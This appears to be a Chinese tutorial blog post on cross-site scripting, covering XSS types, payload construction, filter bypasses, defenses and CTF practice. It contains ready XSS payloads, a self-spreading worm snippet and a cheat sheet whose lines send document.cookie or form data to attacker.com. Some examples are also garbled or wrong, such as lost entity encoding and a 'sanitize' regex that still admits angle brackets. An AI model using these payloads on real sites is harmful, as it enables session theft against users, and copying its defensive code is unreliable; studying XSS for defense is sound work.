一篇文章精通 XSS并学会实战挖漏洞（8000 字深度版）

lshen12345678

已于 2025-03-24 00:46:58 修改

阅读量453

点赞数 8

文章标签： xss 前端

于 2025-03-24 00:46:45 首次发布

本文链接：https://blog.youkuaiyun.com/lshen12345678/article/details/146465284

版权

一、XSS 漏洞的本质：浏览器解析机制的攻防博弈

2.3 DOM 型 XSS：客户端的自我背叛

三、实战挖洞：从 Payload 构造到漏洞验证全流程

3.1 漏洞挖掘的三个核心步骤

步骤 1：定位输入输出点

步骤 2：Payload 构造的 10 大技巧

4.3 浏览器层：CSP 与 HTTP 头防护

4.4 会话层：安全存储与隔离

4.5 框架层：利用现代框架防护

五、进阶攻击：XSS 的变形与前沿利用

5.1 Self-XSS：社会工程学的结合

5.2 基于 WebAssembly 的 XSS

5.3 XSS 与其他漏洞的组合攻击

六、实战靶场：从入门到 CTF 的练级路线

一、XSS 漏洞的本质：浏览器解析机制的攻防博弈

跨站脚本攻击（Cross-Site Scripting, XSS）的本质是不可信数据与代码执行的边界突破。当攻击者将恶意代码注入到网页中，浏览器在解析时会误将这些数据作为合法脚本执行，导致同源策略失效。理解这一过程需要掌握浏览器的分层解析机制：

1.1 浏览器解析链的漏洞触发点

HTML 解析阶段：
- 标签识别：浏览器通过状态机解析 HTML 标签，未闭合的标签可能导致上下文逃逸（如<img src=x onerror=alert(1)>无需闭合>）。
- 实体解码：<会被解码为<，攻击者常用 HTML 实体编码绕过过滤（如<script>alert(1)</script>）。
JavaScript 执行阶段：
- 词法分析：JavaScript 引擎会自动忽略空格、换行等空白符（如j a v a s c r i p t:alert(1)仍可执行）。
- 动态代码执行：eval()、innerHTML等 API 直接执行字符串，成为 DOM 型 XSS 的温床。

二、XSS 的三类攻击模型与演变史

2.1 反射型 XSS：即时响应的陷阱

核心特征：恶意代码存在于请求中，随响应立即执行，不存储于服务器。
进化路径：

基础形态：https://example.com/search?q=<script>alert(1)</script>

参数污染变种：利用多参数覆盖绕过过滤

HTTP
# 原参数过滤了单个q参数，但未限制多个q
https://example.com/search?q=1&q=<script>alert(1)</script>

实战案例：某电商网站搜索框回显未对?keyword=参数编码，攻击者构造链接诱导管理员点击，窃取其会话 Cookie。

2.2 存储型 XSS：潜伏的持久性威胁

核心特征：恶意代码存入数据库，长期对访问者生效，常见于 UGC 场景。
攻击增强：

蠕虫化传播：

// 自动复制恶意评论到其他用户的留言区
document.querySelectorAll('textarea').forEach(area => {
  area.value = '<img src=x onerror="fetch(\'https://attacker.com/?c=\' + document.cookie)">';
  area.form.submit();
});

防御绕过：某论坛使用白名单过滤标签，但未限制svg标签的onload事件，攻击者通过<svg/onload=alert(1)>突破。

2.3 DOM 型 XSS：客户端的自我背叛

核心特征：漏洞存在于前端 JS 代码，与服务器响应无关，依赖location.hash、document.referrer等客户端数据源。
典型场景：

// 危险代码：直接将URL哈希值插入DOM
const hash = decodeURIComponent(window.location.hash.slice(1));
document.getElementById('content').innerHTML = hash;

// 攻击Payload：https://example.com/#<img src=x onerror=alert(1)>

高级利用：结合history.pushState隐藏 URL 中的恶意代码，避免用户察觉。

三、实战挖洞：从 Payload 构造到漏洞验证全流程

3.1 漏洞挖掘的三个核心步骤

步骤 1：定位输入输出点

常见输入位置：
类型示例
URL 参数 ?id=1、#fragment
表单数据登录框、评论区
请求头 Referer、User-Agent
输出验证方法：
在输入中插入唯一标识符（如XSS-TEST-123），通过页面源代码搜索或 Burp Suite 响应分析确认回显位置。

类型	示例
URL 参数	`?id=1`、`#fragment`
表单数据	登录框、评论区
请求头	`Referer`、`User-Agent`

步骤 2：Payload 构造的 10 大技巧

分类技巧：

类型	示例 Payload	适用场景
基础触发	`<svg/onload=alert(1)>`	标签直接注入
事件劫持	`<input autofocus onfocus=alert(1)>`	表单自动聚焦
编码绕过	`javascript:alert(String.fromCharCode(88,83,83))`	关键词过滤
伪协议攻击	`javascript:confirm(1)`	URL 跳转参数
字符串拼接	`" autofocus onfocus=alert(1)//`	标签属性闭合

案例：突破过滤的组合拳
某系统过滤了<script>和on开头的事件，但未限制javascript:伪协议：

<!-- 正常Payload被拦截 -->
<img src="onerror=alert(1)">

<!-- 绕过方案：利用伪协议和编码 -->
<img src="javascript:\u0061lert(1)">

步骤 3：漏洞验证的工具链

手动测试：
1. Burp Suite 抓包修改参数，观察响应内容
2. 浏览器控制台输入document.body.innerHTML查看 DOM 渲染结果
自动化工具：
- ZAP 的 DOM XSS 扫描模块
- OWASP XSS Filter Evasion Cheat Sheet（在线 Payload 生成器）

四、防御体系：构建五层防护网

4.1 输入层：白名单过滤 + 正则校验

推荐方案：

# Python示例：仅允许字母、数字、部分符号
import re

def sanitize(input_str):
    pattern = r'^[a-zA-Z0-9\s!@#$%^&*()_+\-=\[\]{};\':"\\|,.<>\/\?~]+$'
    return re.match(pattern, input_str) is not None

注意事项：避免使用黑名单，因为攻击者可通过编码绕过（如<script>）。

4.2 输出层：上下文相关编码

不同场景的编码策略：

输出位置	编码方式	示例
HTML 内容	HTML 实体编码	`<` → `<`
URL 参数	URL 编码	`?q=<script>` → `%3Cscript%3E`
JavaScript 变量	JSON.stringify()	`"alert(1)"` → `\"alert(1)\"`
CSS 样式	CSS 转义	`url(javascript:...)` → 过滤

4.3 浏览器层：CSP 与 HTTP 头防护

强化 CSP 配置：

HTTP
Content-Security-Policy: 
  default-src 'self'; 
  script-src 'self' https://trusted.cdn.com; 
  style-src 'self' 'unsafe-inline'; 
  img-src 'self' data:;
  object-src 'none';
  report-uri /csp-report

其他关键头：

X-XSS-Protection: 1; mode=block（启用浏览器内置过滤）
X-Content-Type-Options: nosniff（防止 MIME 类型混淆）

4.4 会话层：安全存储与隔离

Cookie 安全：

HTTP
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict

禁用危险 API：
在前端代码中避免使用innerHTML、eval()，改用textContent等安全 API。

4.5 框架层：利用现代框架防护

主流框架的默认防护：

框架	防护机制	例外情况
React	默认转义 JSX 中的用户输入	使用`dangerouslySetInnerHTML`
Vue	模板表达式自动转义	手动使用`v-html`指令
Angular	安全上下文策略	动态加载外部脚本

五、进阶攻击：XSS 的变形与前沿利用

5.1 Self-XSS：社会工程学的结合

攻击原理：诱导用户自己执行恶意代码，常见于钓鱼邮件。
案例：

<!-- 伪装成文档的恶意链接 -->
https://example.com/important-doc.html#<script>...窃取Cookie...</script>

防：浏览器默认禁止file://协议加载的页面执行 XSS，但可通过data:协议绕过。

5.2 基于 WebAssembly 的 XSS

新型攻击路径：

攻击者上传包含恶意代码的 WebAssembly 文件（.wasm）
浏览器解析时，Wasm 调用 JavaScript 接口执行任意代码
防御：设置 CSP 限制script-src不包含wasm-eval。

5.3 XSS 与其他漏洞的组合攻击

组合漏洞	攻击效果
XSS + CSRF	利用 XSS 获取 CSRF Token，发起跨站请求伪造
XSS + 路径遍历	读取服务器敏感文件，结合 XSS 进一步攻击
XSS + SSTI	在模板注入中执行 XSS，突破后端限制

六、实战靶场：从入门到 CTF 的练级路线

6.1 初级练习：XSS 挑战平台

XSS Challenges（XSS Game - Learning XSS Made Simple! | Created by PwnFunction）
- 关卡 1：直接注入<script>alert(1)</script>
- 关卡 5：利用autofocus和onfocus事件绕过标签过滤
PortSwigger Labs（What is cross-site scripting (XSS) and how to prevent it? | Web Security Academy）
- 存储型 XSS 关卡：在博客评论中插入<img src=x onerror=alert(1)>

6.2 中级实战：漏洞赏金平台

挖掘技巧：

寻找未登录状态下的输入点（如游客评论）
测试 JSON 接口的 XSS（如Content-Type: application/json时注入）
利用富文本编辑器的漏洞（如未正确转义iframe标签）

6.3 高级对抗：CTF 真题解析

2024 年 XCTF XSS 题目：

题目描述：某网站过滤了所有 HTML 标签，但存在 DOM 型 XSS 漏洞
解题思路：
1. 发现document.location.search被用于eval()
2. 构造 Payload：?x=javascript:alert(1)//
3. 利用 URL 编码绕过：?x=javascript%3Aalert(1)

七、总结：XSS 攻防的未来趋势

攻击侧：
- 基于 AI 的 Payload 生成工具（如 GPT-XSS）
- 针对 WebRTC 等新 API 的 XSS 漏洞
防御侧：
- 基于机器学习的输入检测模型
- 浏览器内置的 Trust Tokens 机制

XSS 的本质是数据与代码的身份混淆，掌握其核心在于理解 “在浏览器中，一切皆可执行”。通过持续实战和跟踪前沿技术，白帽黑客可以在攻防对抗中始终占据主动。

附录：常用 Payload 速查表

场景	Payload
基础弹窗	`<svg/onload=alert(1)>`
窃取 Cookie	`fetch('https://attacker.com/?c='+document.cookie)`
突破过滤（字母）	`javascript:alert(String.fromCharCode(88,83,83))`
DOM 型 XSS（哈希）	`#<img src=x onerror=alert(1)>`
自动提交表单	`<form id=f action=https://attacker.com method=post><input name=d value=1><script>f.submit()</script>`